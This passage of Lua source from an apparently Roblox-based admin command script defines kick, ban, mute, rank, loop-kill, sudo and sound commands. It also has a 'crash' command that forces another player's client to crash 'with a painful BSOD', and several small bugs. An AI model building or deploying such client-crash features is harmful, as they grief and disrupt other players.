5673 if PlayerInfo.Keyboard ~= nil then table.insert(Compile, "Has Keyboard: "..STRING:BoolString(PlayerInfo.Keyboard)) end
5674 if PlayerInfo.TouchScreen ~= nil then table.insert(Compile, "Has TouchScreen: "..STRING:BoolString(PlayerInfo.TouchScreen)) end
5675 if PlayerInfo.Benchmark then
5676 table.insert(Compile, "BLUE BENCHMARK: "..PlayerInfo.Benchmark)
5677 end
5678 if Num ~= #Players then table.insert(Compile, "-----------------------------") end
5679 end
5680 GUI:ListGui(Speaker, "Information on "..#Players.." player(s)", Compile, "Information", false, false)
5681 end};
5682
5683 [{"loopkill", "lkill", "loopk"}] = {"player num", "Kills player num times", 2, "Admin", false, function(Speaker, Rank, Arguments)
5684 if tonumber(Arguments[2]) then
5685 local Players = STRING:Scan(Arguments[1], Speaker)
5686 for _,Player in pairs(Players) do
5687 coroutine.wrap(function()
5688 if Player.Character then
5689 table.insert(LoopKills, Player.Name)
5690 local Loop = nil
5691 local PrevChar = nil
5692
5693 for i = 1,tonumber(Arguments[2]) do
5694 local Char = Player.Character
5695 if PrevChar and PrevChar ~= Char then
5696 PrevChar:Destroy()
5697 end
5698 PrevChar = Char
5699 local CanDie = true
5700 for _,Name in pairs(LoopKills) do if Name == Player.Name then CanDie = true end end
5701 if CanDie == false then
5702 break
5703 end
5704 ypcall(function() Char.Parent = Server.Lighting end)
5705 wait(0.1)
5706 ypcall(function() Char.Parent = Server.Workspace end)
5707 wait(0.1)
5708 end
5709 end
5710 end)()
5711 end
5712 else
5713 GUI:SendMessage(Speaker, "Cannot execute", "RED Argument 2 is not a valid number", "Error")
5714 end
5715 end};
5716
5717 [{"noloopkill", "nolkill", "noloopk", "unloopkill", "unlkill", "unloopk"}] = {"player num", "Stops any loop kills on a player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5718 local Players = STRING:Scan(Arguments[1], Speaker)
5719 for _,Player in pairs(Players) do
5720 for Num,Name in pairs(LoopKills) do
5721 if Player.Name == Name then
5722 table.remove(LoopKills, Num)
5723 end
5724 end
5725 end
5726 end};
5727
5728 [{"sound", "audio", "music"}] = {"num/string", "Plays the sound ID or string from the soundlist", 1, "Member", false, function(Speaker, Rank, Arguments)
5729 SOUND:PlayGlobalSound(Arguments[1])
5730 end};
5731
5732 [{"nosound", "noaudio", "nomusic", "stopsound", "stopaudio", "stopmusic"}] = {"", "Removes the current sound playing", 0, "Member", false, function(Speaker, Rank, Arguments)
5733 SOUND:StopGlobalSound()
5734 end};
5735
5736 [{"pitch"}] = {"num", "Sets the pitch of the current sound to num", 1, "Member", false, function(Speaker, Rank, Arguments)
5737 local Pitch = tonumber(Arguments[1])
5738 if not Pitch then Pitch = 1 end
5739 if Sound then
5740 Sound.Pitch = Pitch
5741 end
5742 end};
5743
5744 [{"search", "searchsound", "searchsounds", "searchaudio", "searchmusic", "ss"}] = {"string", "Searches the catalog for the sound string", 1, "Member", false, function(Speaker, Rank, Arguments)
5745 local CloseGui, AddInfo = GUI:LoadGui(Speaker, "Searching for: "..Arguments[1])
5746 local Items = MARKET:SearchItem(9, Arguments[1])
5747 if Items then
5748 if #Items ~= 0 then
5749 local List,Correlate = {},{}
5750 for Num,Info in pairs(Items) do
5751 local Display = " "..Info.Name.." by: "..Info.Creator.." ("..Info.AssetId..")"
5752 table.insert(List, Display)
5753 Correlate[Display] = Info.AssetId
5754 end
5755 CloseGui:Invoke()
5756
5757 local CanClick = true
5758 if Rank == "Member" then CanClick = false end
5759 local Clicked = GUI:ListGui(Speaker, "Search Results: "..Arguments[1], List, "Search", CanClick)
5760 Clicked.Event:connect(function(ClickName)
5761 local OldSoundId = nil
5762 SOUND:StopGlobalSound()
5763 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
5764 SOUND:PlayGlobalSound(Correlate[ClickName])
5765 end
5766 end)
5767 else
5768 CloseGui:Invoke()
5769 GUI:SendMessage(Speaker, "No results", "BLUE No results for "..Arguments[1].." found...", "Information")
5770 end
5771 else
5772 CloseGui:Invoke()
5773 GUI:SendMessage(Speaker, "Cannot get audio", "RED Cannot get audio. Is HttpService enabled?", "Error")
5774 end
5775 end, Http = true};
5776
5777 [{"gun"}] = {"player", "Gives player a gun", 1, "Member", false, function(Speaker, Rank, Arguments)
5778 local Players = STRING:Scan(Arguments[1], Speaker)
5779 for _,Player in pairs(Players) do
5780 if Player.Character then
5781 CORE:ExecuteResource("Gun", Player.Character)
5782 end
5783 end
5784 end};
5785
5786 [{"sink", "pothole", "quicksand"}] = {"player", "Sinks the player", 1, "Member", true, function(Speaker, Rank, Arguments)
5787 local Players = STRING:Scan(Arguments[1], Speaker)
5788 for _,Player in pairs(Players) do
5789 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
5790 local Hole = Instance.new("Part", Player.Character) Hole.Name = "Hole" Hole.BrickColor = BrickColor.new("Really black") Hole.Size = Vector3.new(5,1.2,5) Hole.Anchored = true Hole.CanCollide = fals Hole.Locked = true Hole.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,-3.5,0) * CFrame.Angles(0,0,0) Instance.new("CylinderMesh", Hole)
5791 Player.Character.Humanoid.WalkSpeed = 0
5792 Player.Character.Torso.Anchored = true
5793 coroutine.wrap(function()
5794 local OldCFrame = Player.Character.Torso.CFrame
5795 for i = 0,8,0.1 do
5796 Player.Character.Torso.CFrame = OldCFrame * CFrame.new(0,-i,0)
5797 wait()
5798 end
5799 Player.Character.Torso.Anchored = false
5800 Player.Character:BreakJoints()
5801 CORE:InvisiblePlayer(Player)
5802 end)()
5803 end
5804 end
5805 end};
5806
5807 [{"freeze", "anchor"}] = {"player", "Freezes player in place", 1, "Member", false, function(Speaker, Rank, Arguments)
5808 local Players = STRING:Scan(Arguments[1], Speaker)
5809 for _,Player in pairs(Players) do
5810 CORE:AnchorPlayer(Player)
5811 end
5812 end};
5813
5814 [{"nofreeze", "unfreeze", "noanchor", "unanchor", "thaw"}] = {"player", "Unfreezes player", 1, "Member", false, function(Speaker, Rank, Arguments)
5815 local Players = STRING:Scan(Arguments[1], Speaker)
5816 for _,Player in pairs(Players) do
5817 CORE:UnanchorPlayer(Player)
5818 end
5819 end};
5820
5821 [{"invisible", "invis"}] = {"player", "Makes player invisible", 1, "Member", false, function(Speaker, Rank, Arguments)
5822 local Players = STRING:Scan(Arguments[1], Speaker)
5823 for _,Player in pairs(Players) do
5824 CORE:InvisiblePlayer(Player)
5825 end
5826 end};
5827
5828 [{"visible", "vis"}] = {"player", "Makes player visible", 1, "Member", false, function(Speaker, Rank, Arguments)
5829 local Players = STRING:Scan(Arguments[1], Speaker)
5830 for _,Player in pairs(Players) do
5831 CORE:VisiblePlayer(Player)
5832 end
5833 end};
5834
5835 [{"asteroid", "comet", "meteor", "meteorite"}] = {"player", "Shoots an asteroid at player", 1, "Member", true, function(Speaker, Rank, Arguments)
5836 local Players = STRING:Scan(Arguments[1], Speaker)
5837 for _,Player in pairs(Players) do
5838 if Player.Character and Player.Character:FindFirstChild("Torso") then
5839 local Ast = Instance.new("Part", Server.Workspace) Ast.Name = "Asteroid" Ast.Position = Player.Character.Torso.Position + Vector3.new(0,500,0) Ast.Size = Vector3.new(12,12,12)
5840 local Mesh = Instance.new("SpecialMesh", Ast) Mesh.MeshId = "rbxassetid://1290033" Mesh.Scale = Vector3.new(6.2,6.2,6.2) Mesh.TextureId = "rbxassetid://1290030"
5841 local Fire = Instance.new("Fire", Ast) Fire.Heat = 25 Fire.Size = 30
5842 local Smoke = Instance.new("Smoke", Ast) Smoke.RiseVelocity = 10 Smoke.Size = 10
5843 local BoomSound = SOUND:MakeSound(Ast, 188590169, 1, 1)
5844 local Fly = SOUND:MakeSound(Ast, 179438534, 1, 1, true)
5845 Fly:Play()
5846 local Touched = false
5847 coroutine.wrap(function()
5848 repeat wait(0.1)
5849 Ast.Position = Vector3.new(Player.Character.Torso.Position.X, Ast.Position.Y, Player.Character.Torso.Position.Z)
5850 until not Ast or Ast.Parent == nil or Touched == true
5851 end)()
5852 Ast.Touched:connect(function(Part)
5853 if Touched == false then
5854 Touched = true
5855 Part:BreakJoints()
5856 local Boom = Instance.new("Explosion", Workspace)
5857 Boom.Position = Ast.Position
5858 Boom.BlastPressure = 1000000
5859 Boom.BlastRadius = 30
5860 Fire.Heat = 0
5861 Smoke.RiseVelocity = 0
5862 Fly:Stop()
5863 BoomSound:Play()
5864 coroutine.wrap(function()
5865 wait(3)
5866 BoomSound:Stop()
5867 if Ast and Ast.Parent ~= nil then
5868 Ast:Destroy()
5869 end
5870 end)()
5871 end
5872 end)
5873 end
5874 end
5875 end};
5876
5877 [{"kick"}] = {"player", "Will kick player out of the server", 1, "Admin", false, function(Speaker, Rank, Arguments)
5878 local Success = {}
5879 local Players = STRING:Scan(Arguments[1], Speaker)
5880 for _,Player in pairs(Players) do
5881 local PlayerRank = RANK:GetRank(Player)
5882 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
5883 CORE:Kick(Player)
5884 table.insert(Success, Player)
5885 end
5886 end
5887 REMOTE:SendHttpLog(Speaker.Name.." kicked "..CORE:UnpackPlayers(Success), "INFORMATION")
5888 end};
5889
5890 [{"ban"}] = {"player", "Will ban player and will be unable to join", 1, "Admin", false, function(Speaker, Rank, Arguments)
5891 local Success = {}
5892 local Players = STRING:Scan(Arguments[1], Speaker)
5893 for _,Player in pairs(Players) do
5894 local PlayerRank = RANK:GetRank(Player)
5895 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
5896 RANK:RemoveRank(Player)
5897 table.insert(Settings.Ranks.Banned, Player.Name)
5898 CORE:Kick(Player)
5899 table.insert(Success, Player)
5900 end
5901 end
5902 REMOTE:SendHttpLog(Speaker.Name.." banned "..CORE:UnpackPlayers(Success), "WARNING")
5903 end};
5904
5905 [{"crash"}] = {"player", "Will crash player with a painful BSOD", 1, "Owner", false, function(Speaker, Rank, Arguments)
5906 local Success = {}
5907 local Players = STRING:Scan(Arguments[1], Speaker)
5908 for _,Player in pairs(Players) do
5909 local PlayerRank = RANK:GetRank(Player)
5910 if PlayerRank ~= "Owner" then
5911 RANK:RemoveRank(Player)
5912 table.insert(Settings.Ranks.Crashed, Player.Name)
5913 CORE:Crash(Player)
5914 table.insert(Success, Player)
5915 end
5916 end
5917 REMOTE:SendHttpLog(Speaker.Name.." crashed "..CORE:UnpackPlayers(Success), "INFORMATION")
5918 end};
5919
5920 [{"mute"}] = {"player", "Makes player unable to talk", 1, "Owner", false, function(Speaker, Rank, Arguments)
5921 local Success = {}
5922 local Players = STRING:Scan(Arguments[1], Speaker)
5923 for _,Player in pairs(Players) do
5924 local PlayerRank = RANK:GetRank(Player)
5925 if PlayerRank ~= "Owner" then
5926 RANK:RemoveRank(Player)
5927 table.insert(Settings.Ranks.Muted, Player.Name)
5928 GUI:CoreGui(Player, "Chat", false)
5929 table.insert(Success, Player)
5930 end
5931 end
5932 REMOTE:SendHttpLog(Speaker.Name.." has muted "..CORE:UnpackPlayers(Success), "INFORMATION")
5933 end};
5934
5935 [{"noadmin", "unadmin", "nomember", "unmember", "nomem", "unmem", "noowner", "unowner", "noown", "unown", "nocrash", "uncrash", "noban", "unban", "nomute", "unmute", "derank"}] = {"player", "Removes whatever rank player has(if your rank is sufficient enough to override player's)", 1, "Admin", false, function(Speaker, Rank, Arguments)
5936 local Players = STRING:Scan(Arguments[1], Speaker)
5937 if #Players > 0 then
5938 local Success = {}
5939 for _,Player in pairs(Players) do
5940 local RankName,RankNum = RANK:GetRank(Player)
5941 if RankNum < RANK:ConvertRank(Rank) or RANK:IsSupremeOwner(Speaker) then
5942 if not RANK:IsSupremeOwner(Player) then
5943 if RankName == "Muted" then
5944 GUI:CoreGui(Player, "Chat", true)
5945 end
5946 if RankNum > 0 then
5947 GUI:TellNotAdmin(Player)
5948 end
5949 RANK:RemoveRank(Player)
5950 table.insert(Success, Player)
5951 end
5952 end
5953 end
5954 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..CORE:UnpackPlayers(Players), "INFORMATION")
5955 else
5956 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
5957 if Player then
5958 local RankNum = RANK:ConvertRank(PlayerRank)
5959 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
5960 if not RANK:IsSupremeOwner(Player) then
5961 RANK:RemoveRank(Player)
5962 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..Player, "INFORMATION")
5963 end
5964 end
5965 end
5966 end
5967 end};
5968
5969 [{"member", "mem"}] = {"player", "Adds player to the member list", 1, "Admin", false, function(Speaker, Rank, Arguments)
5970 local Players = STRING:Scan(Arguments[1], Speaker)
5971 if #Players > 0 then
5972 local Success = {}
5973 for _,Player in pairs(Players) do
5974 local PlayerRank,RankNum = RANK:GetRank(Player)
5975 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
5976 RANK:RemoveRank(Player)
5977 table.insert(Settings.Ranks.Member, Player.Name)
5978 GUI:TellAdmin(Player)
5979 table.insert(Success, Player)
5980 end
5981 end
5982 REMOTE:SendHttpLog(Speaker.Name.." has membered "..CORE:UnpackPlayers(Success), "INFORMATION")
5983 else
5984 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
5985 if Player then
5986 local RankNum = RANK:ConvertRank(PlayerRank)
5987 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
5988 if not RANK:IsSupremeOwner(Player) then
5989 RANK:RemoveRank(Player)
5990 table.insert(Settings.Ranks.Member, Player)
5991 end
5992 end
5993 else
5994 RANK:RemoveRank(Arguments[1])
5995 table.insert(Settings.Ranks.Member, Arguments[1])
5996 end
5997 end
5998 end};
5999
6000 [{"admin", "adm"}] = {"player", "Adds player to the admin list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6001 local Players = STRING:Scan(Arguments[1], Speaker)
6002 if #Players > 0 then
6003 local Success = {}
6004 for _,Player in pairs(Players) do
6005 local PlayerRank,RankNum = RANK:GetRank(Player)
6006 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6007 RANK:RemoveRank(Player)
6008 table.insert(Settings.Ranks.Admin, Player.Name)
6009 GUI:TellAdmin(Player)
6010 table.insert(Success, Player)
6011 end
6012 end
6013 REMOTE:SendHttpLog(Speaker.Name.." has admined "..CORE:UnpackPlayers(Success), "INFORMATION")
6014 else
6015 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6016 if Player then
6017 local RankNum = RANK:ConvertRank(PlayerRank)
6018 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6019 if not RANK:IsSupremeOwner(Player) then
6020 RANK:RemoveRank(Player)
6021 table.insert(Settings.Ranks.Admin, Player)
6022 end
6023 end
6024 else
6025 RANK:RemoveRank(Arguments[1])
6026 table.insert(Settings.Ranks.Admin, Arguments[1])
6027 end
6028 end
6029 end};
6030
6031 [{"owner", "own"}] = {"player", "Adds player to the owner list(Speaker must be game owner)", 1, "Owner", false, function(Speaker, Rank, Arguments)
6032 local Players = STRING:Scan(Arguments[1], Speaker)
6033 if RANK:IsSupremeOwner(Speaker) then
6034 if #Players > 0 then
6035 local Success = {}
6036 for _,Player in pairs(Players) do
6037 if not RANK:IsSupremeOwner(Player) then
6038 RANK:RemoveRank(Player)
6039 table.insert(Settings.Ranks.Owner, Player.Name)
6040 GUI:TellAdmin(Player)
6041 table.insert(Success, Player)
6042 end
6043 end
6044 REMOTE:SendHttpLog(Speaker.Name.." has ownered "..CORE:UnpackPlayers(Success), "INFORMATION")
6045 else
6046 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6047 if Player then
6048 local RankNum = RANK:ConvertRank(PlayerRank)
6049 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6050 if not RANK:IsSupremeOwner(Player) then
6051 RANK:RemoveRank(Player)
6052 table.insert(Settings.Ranks.Owner, Player)
6053 end
6054 end
6055 else
6056 RANK:RemoveRank(Arguments[1])
6057 table.insert(Settings.Ranks.Owner, Arguments[1])
6058 end
6059 end
6060 end
6061 end};
6062
6063 [{"admins", "adminlist"}] = {"", "Lists all admins in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6064 local TableStorage = {}
6065 for _,Obj in pairs(Settings.Ranks.Member) do table.insert(TableStorage, Obj..": Member") end
6066 for _,Obj in pairs(Settings.Ranks.Admin) do table.insert(TableStorage, Obj..": Admin") end
6067 for _,Obj in pairs(Settings.Ranks.Owner) do table.insert(TableStorage, "BOLD: "..Obj..": Owner") end
6068 GUI:ListGui(Speaker, "Admin List", TableStorage, 45961462)
6069 end};
6070
6071 [{"serveradmins", "sa"}] = {"", "Lists all admins in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
6072 local TableStorage = {}
6073 for _,Player in pairs(Server.Players:GetChildren()) do
6074 local ValidAdmin,PlayerRank = RANK:IsAdmin(Player)
6075 if ValidAdmin then
6076 if PlayerRank == "Owner" then
6077 table.insert(TableStorage, "BOLD: "..Player.Name..": Owner")
6078 else
6079 table.insert(TableStorage, Player.Name..": "..PlayerRank)
6080 end
6081 end
6082 end
6083 GUI:ListGui(Speaker, "Server admin List", TableStorage, 76198987)
6084 end};
6085
6086 [{"bans", "banlist"}] = {"", "Lists all players who've been banned", 0, "Member", false, function(Speaker, Rank, Arguments)
6087 GUI:ListGui(Speaker, "Ban List", Settings.Ranks.Banned, 163337795)
6088 end};
6089
6090 [{"crashes", "crashlist"}] = {"", "Lists all players who've been crashed", 0, "Member", false, function(Speaker, Rank, Arguments)
6091 GUI:ListGui(Speaker, "Crash List", Settings.Ranks.Crashed, 35480917)
6092 end};
6093
6094 [{"mutes", "muted", "mutelist"}] = {"", "Lists all players who've been muted", 0, "Member", false, function(Speaker, Rank, Arguments)
6095 GUI:ListGui(Speaker, "Mute List", Settings.Ranks.Muted, 202000870)
6096 end};
6097
6098 [{"exiles", "exilelist"}] = {"", "Lists all the exiled players(banned, crashed, muted) in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6099 local TableStorage = {}
6100 for _,Obj in pairs(Settings.Ranks.Banned) do table.insert(TableStorage, Obj..": Banned") end
6101 for _,Obj in pairs(Settings.Ranks.Crashed) do table.insert(TableStorage, Obj..": Crashed") end
6102 for _,Obj in pairs(Settings.Ranks.Muted) do table.insert(TableStorage, Obj..": Muted") end
6103 GUI:ListGui(Speaker, "Exile List", TableStorage, 132769258)
6104 end};
6105
6106 [{"ranked", "ranks", "ranklist"}] = {"", "Lists all the players ranked in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6107 local TableStorage = {}
6108 for PlayerRank,PlayerNames in pairs(Settings.Ranks) do
6109 for Num,PlayerName in pairs(PlayerNames) do
6110 if PlayerRank == "Owner" then
6111 table.insert(TableStorage, "BOLD: "..PlayerName..": Owner")
6112 else
6113 table.insert(TableStorage, PlayerName..": "..PlayerRank)
6114 end
6115 end
6116 end
6117 GUI:ListGui(Speaker, "Rank List", TableStorage, 21341765)
6118 end};
6119
6120 [{"logs", "commandlogs", "cmdlogs"}] = {"", "Lists all the logs of executed commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6121 GUI:ListGui(Speaker, "Command Logs", CORE:ReverseTable(CommandLogs), "Log")
6122 end};
6123
6124 [{"chatlogs"}] = {"", "Lists all the logs of players who've chatted", 0, "Admin", false, function(Speaker, Rank, Arguments)
6125 GUI:ListGui(Speaker, "Chat Logs", CORE:ReverseTable(ChatLogs), "Log")
6126 end};
6127
6128 [{"irclogs"}] = {"", "Lists all the logs of irc output", 0, "Admin", false, function(Speaker, Rank, Arguments)
6129 GUI:ListGui(Speaker, "IRC Logs", CORE:ReverseTable(IRC.Logs), "Log")
6130 end};
6131
6132 [{"exploitlogs"}] = {"", "Lists all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6133 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
6134 if type(ExploitLog) ~= "table" then ExploitLog = {} end
6135 GUI:ListGui(Speaker, "Exploit Logs", ExploitLog, "Log")
6136 end};
6137
6138 [{"clearlogs", "clearcommandlogs", "clearcmdlogs"}] = {"", "Clears all the logs of executed commands", 0, "Owner", false, function(Speaker, Rank, Arguments)
6139 CommandLogs = {}
6140 end};
6141
6142 [{"clearchatlogs"}] = {"", "Clears all the logs of players who've chatted", 0, "Owner", false, function(Speaker, Rank, Arguments)
6143 ChatLogs = {}
6144 end};
6145
6146 [{"clearirclogs"}] = {"", "Clears all the logs of irc output", 0, "Owner", false, function(Speaker, Rank, Arguments)
6147 IRC.Logs = {}
6148 end};
6149
6150 [{"clearalllogs", "resetlogs"}] = {"", "Clears ALL logs (Command, Chat, IRC) but not exploit logs", 0, "Owner", false, function(Speaker, Rank, Arguments)
6151 CommandLogs = {}
6152 ChatLogs = {}
6153 IRC.Logs = {}
6154 end};
6155
6156 [{"clearexploitlogs"}] = {"", "Clears all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6157 Server.GDS:SetAsync("ExploitLog", {})
6158 end};
6159
6160 [{"soundlist", "musiclist", "audiolist", "songs", "sounds", "musics", "audios"}] = {"", "Lists all the sounds in the global sound list", 0, "Member", false, function(Speaker, Rank, Arguments)
6161 local List,Correlate,SoundName = {},{},{}
6162 for Name,Info in pairs(SoundList) do
6163 local View = "Command Name: "..Name.." | Audio ID: "..Info[1].." | Full Name: "..Info[2]
6164 table.insert(List, View)
6165 Correlate[View] = Info[1]
6166 end
6167
6168 local CanClick = true
6169 if Rank == "Member" then CanClick = false end
6170 local Clicked = GUI:ListGui(Speaker, "Sound List", List, "Sound", CanClick)
6171 Clicked.Event:connect(function(ClickName)
6172 local OldSoundId = nil
6173 SOUND:StopGlobalSound()
6174 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
6175 SOUND:PlayGlobalSound(Correlate[ClickName])
6176 end
6177 end)
6178 end};
6179
6180 [{"syncsoundlist", "syncsounds", "syncaudiolist", "syncaudios", "syncmusiclist", "syncmusics"}] = {"", "Resyncs the global sound list to the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6181 SOUND:SyncSoundList(Speaker)
6182 end};
6183
6184 [{"cleart", "clearterrain", "cleant", "cleanterrain"}] = {"", "Clears all terrain from the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6185 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean Terrain?", "Do you really want to clear all terrain in the server? If there is a lot of terrain this can cause major lag. Continue?", "Question", {"Yes", "No"})
6186 if Answer == "Yes" then
6187 Server.Workspace.Terrain:Clear()
6188 end
6189 end};
6190
6191 [{"clearstamp", "clearstamper", "cleanstamp", "cleanstamper"}] = {"", "Clears all items in workspace that came from the stamper tool (Not terrain)", 0, "Admin", false, function(Speaker, Rank, Arguments)
6192 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean All Stamper Objects?", "Do you really want to clear all stamper objects in the server, this will clean all bricks/models placed down by stamper and if there's a lot of them it can cause major lag? Continue?", "Question", {"Yes", "No"})
6193 if Answer == "Yes" then
6194 for _,Obj in pairs(Workspace:GetChildren()) do
6195 if Obj:FindFirstChild("RobloxStamper") and Obj:FindFirstChild("RobloxModel") then
6196 Obj:Destroy()
6197 end
6198 end
6199 end
6200 end};
6201
6202 [{"base", "baseplate", "newbase", "makebase", "newbaseplate", "makebaseplate"}] = {"", "Creates a baseplate inside the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6203 CORE:MakeBase()
6204 end};
6205
6206 [{"addsound", "addaudio", "addmusic"}] = {"num(ID) string", "Will add the song of num(ID) named string to the custom sound list of the game", 2, "Admin", false, function(Speaker, Rank, Arguments)
6207 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6208 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6209 CustomSounds = {}
6210 end
6211 if tostring(Arguments[1]) then
6212 local Request = MARKET:GetItemInfo(Arguments[1])
6213 if Request.AssetTypeId == 3 then
6214 table.insert(CustomSounds, {Arguments[2], Arguments[1]})
6215 SoundList[Arguments[2]] = {Arguments[1], Request.Name, Request.Creator.Name}
6216 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6217 GUI:SendHint(Speaker, "Sound Added to server sound list and for future servers.", 4)
6218 else
6219 GUI:SendMessage(Speaker, "Invalid", "Please make sure that your ID is an audio asset.", 4)
6220 end
6221 end
6222 end};
6223
6224 [{"removesound", "removeaudio", "removemusic"}] = {"string", "Will remove the sound string from the custom sound list of the game", 1, "Admin", false, function(Speaker, Rank, Arguments)
6225 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6226 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6227 CustomSounds = {}
6228 end
6229
6230 local Removed = {}
6231 for Num,Data in pairs(CustomSounds) do
6232 if string.sub(string.lower(Data[1]),1,#Arguments[1]) == string.lower(Arguments[1]) then
6233 table.insert(Removed, Data[1])
6234 table.remove(CustomSounds, Num)
6235 end
6236 end
6237
6238 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6239
6240 SOUND:SyncSoundList()
6241
6242 if #Removed > 0 then
6243 GUI:SendHint(Speaker, "Removed from custom sound list: "..STRING:UnpackArgs(Removed))
6244 else
6245 GUI:SendHint(Speaker, "Could not find sound "..Arguments[1].." in custom sound list")
6246 end
6247 end};
6248
6249 [{"clearsounds", "clearaudio", "clearmusic"}] = {"", "Clears all sounds in the custom sound list of the game", 0, "Admin", false, function(Speaker, Rank, Arguments)
6250 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clear All Sounds", "Would you like to clear all sounds from the custom Lua".."M".."od".."elMa".."ke".."r's sound list? This will clear all sounds from the ;addsound command and will affect all sounds in all of this game's servers. Are you sure you want to clear?(All default global sounds will remain)", "Question", {"Yes", "No"})
6251 if Answer == "Yes" then
6252 Server.GDS:SetAsync("MML Custom Sounds", {})
6253 SoundList = GlobalSoundList -- Reset to old sounds without having to re-sync!
6254 GUI:SendHint(Speaker, "All custom sounds have been removed", 4)
6255 end
6256 end};
6257
6258 [{"benchmark", "bench"}] = {"player", "Benchmarks player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6259 local Players = STRING:Scan(Arguments[1], Speaker)
6260 local SpeakerTesting = false
6261 for _,Player in pairs(Players) do
6262 if Player == Speaker then SpeakerTesting = true end
6263 if Player:FindFirstChild("Backpack") then coroutine.wrap(function()
6264 CORE:ExecuteResource("Benchmark", Player.Backpack, {["Admin"] = script})
6265 --wait(10)
6266 --GUI:SendMessage(Player, "Benchmark almost done", "Your client is cleaning up the mess made. Please wait until you are reset by your client to have results submitted", "Information", 10)
6267 end)() end
6268 end
6269 if SpeakerTesting == false then
6270 GUI:SendMessage(Speaker, "Benchmarking", "The player(s) are now being benchmarked. To view results say "..Settings.Prefix.."getbench player", "Information", 10)
6271 end
6272 end};
6273
6274 [{"getbench", "getbenchmark", "getbenches", "getbenchmarks"}] = {"player", "Gets benchmarks of player", 1, "Member", false, function(Speaker, Rank, Arguments)
6275 local Players = STRING:Scan(Arguments[1], Speaker)
6276 local Compile = {}
6277 for _,Player in pairs(Players) do
6278 local PlayerInfo = ClientInfo[Player.Name]
6279 if PlayerInfo then
6280 if PlayerInfo.Benchmark then
6281 table.insert(Compile, Player.Name..": "..PlayerInfo.Benchmark)
6282 else
6283 table.insert(Compile, Player.Name..": No score")
6284 end
6285 end
6286 end
6287 GUI:ListGui(Speaker, "Benchmarks", Compile, "Information")
6288 end};
6289
6290 [{"replicatecommand", "replicatecmd", "repcmd", "repcommand", "rc", "sudo"}] = {"player string[command]", "Executes string as a command on player as if they said it", 2, "Owner", false, function(Speaker, Rank, Arguments)
6291 local Players = STRING:Scan(Arguments[1], Speaker)
6292 for _,Player in pairs(Players) do
6293 CORE:Chatted(Arguments[2], Player, true)
6294 end
6295 end};
6296
6297 [{"virtexe", "virtualexe", "virtsudo", "virtualsudo", "vsudo", "vs"}] = {"string[Name] string[Rank] string[Command]", "Executes string[Command] on a vitual player named string[Name] with the rank string[Rank]", 3, "Owner", false, function(Speaker, Rank, Arguments)
6298 CORE:Chatted(Arguments[3], nil, true, Arguments[1], Arguments[2], RANK:IsSupremeOwner(Speaker))
6299 end};
6300
6301 [{"longneck", "lneck", "longn", "ln"}] = {"player", "Makes player have a long neck", 1, "Member", true, function(Speaker, Rank, Arguments)
6302 local Players = STRING:Scan(Arguments[1], Speaker)
6303 for _,Player in pairs(Players) do
6304 if Player.Character ~= nil then
6305 if Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") ~= nil then
6306 if Player.Character.Torso:FindFirstChild("Neck") then
6307 Player.Character.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6308 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6309 Neck = Instance.new("Part", Player.Character) Neck.Name = "Neck" Neck.Size = Vector3.new(1,3,1) Neck.Position = Vector3.new(0,100,0) Neck.BrickColor = BrickColor.new(tostring(Player.Character.Head.BrickColor)) Neck.Locked = true
6310 local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale = Vector3.new(0.7,1,0.7)
6311 local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-2,0)
6312 end
6313 end
6314 end
6315 end
6316 end};
6317
